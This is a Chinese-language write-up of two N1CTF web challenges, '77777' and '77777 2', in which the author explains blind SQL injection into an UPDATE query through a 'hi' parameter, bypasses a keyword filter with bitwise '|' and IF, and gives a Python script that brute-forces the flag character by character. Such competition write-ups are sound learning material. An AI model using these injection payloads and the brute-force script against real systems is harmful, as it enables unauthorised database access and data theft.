N1CTF 77777 writeup

前言

  这是我及我所在的团队第一次参加正式的CTF比赛,所取得的成绩也还算满意,比赛过程中作者负责web方向,比赛中的成果就是两道77777

77777

  题目描述:






  这道题最坑的就是一开始没有判断出是否注入成功的依据,后面经师兄指导才发现依据就是注入的数字是否已经改变,当然这道题的环境官方也说明每个队注入没有隔离开,造成即使注入成功也可能被别的队刷走,从而影响判断。

  又因为它是sptintf("xxx%d%s"),所以注入应该在str的地方,也就是在hi中进行注入,payload:hi=000 where ord(substr(password, 1, 1))>100,因为是在update users set中注入,所以这里不需要再使用union,select等方法了。完整的payload如下图:




  如果注入成功,则会返回你的flag字段,如:




  由于这个题的环境不稳定,不太适合脚本的判断,所以,就手工注入一遍了。

77777 2

  这道题跟上一道提供的描述是一样的,不同的是对hi进行了更严格的过滤,上一道的payload就无效了。

  这道题过滤了and or || & &&(为了不产生二义,这里用空格分隔),但是唯独没有过滤掉|。所以我们可以选择|进行位注入。然后在检测一下,没有被过滤的是:substr select from if,所以考虑用if替代where进行判断。

  经过一轮苦逼的测试,终于搞出一个payload:hi=000 | IF (substr((select substr( pw from 1)),1,1)>'z',1,0),这里( pw中间一定要有空格,不然无法绕过。另一个要说的就是pw from 1,它会返回pw字段从1开始的所有值。如:

1
2
pw = 'flag{123456}'
pw from 1 ---> flag{123456}

  payload:




  判断的依据是返回的数字的最后一位,如:




  如果是返回错误则是如下:





另一个tips就是数字的后一位一定要0,不然如果是1的话就无法判断了。1 |任何也是真。

  再然后就是逐位的判断,有些数字会被过滤掉,这点上不知道是我的payload有问题还是本来就是这样。。。。




  如上,逐位比较的时候使用+1的方法,如果直接用2,3,4,…的话有些数字会被过滤,还有就是有些字符也会被过滤,但无关flag字段。
  附上脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding:utf-8 -*-
import requests

url = 'http://47.52.137.90:20000/'
flag = ''

for i in range(1, 50):
lc = ''
for a in range(i):
lc += '+1'
lc = lc[1:]
sql = '000 | IF (substr((select substr( pw from 1)),{0},1)>\'{1}\',1,0)'
for ch in range(33, 128):
sqli = sql.format(lc, chr(ch))
data = {
'flag': 123,
'hi': sqli
}
# print(data)
html = requests.post(url, data=data)
text = html.text
# print(text)
if '123000' in text:
flag += chr(ch)
print(flag)
break
else:
pass

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×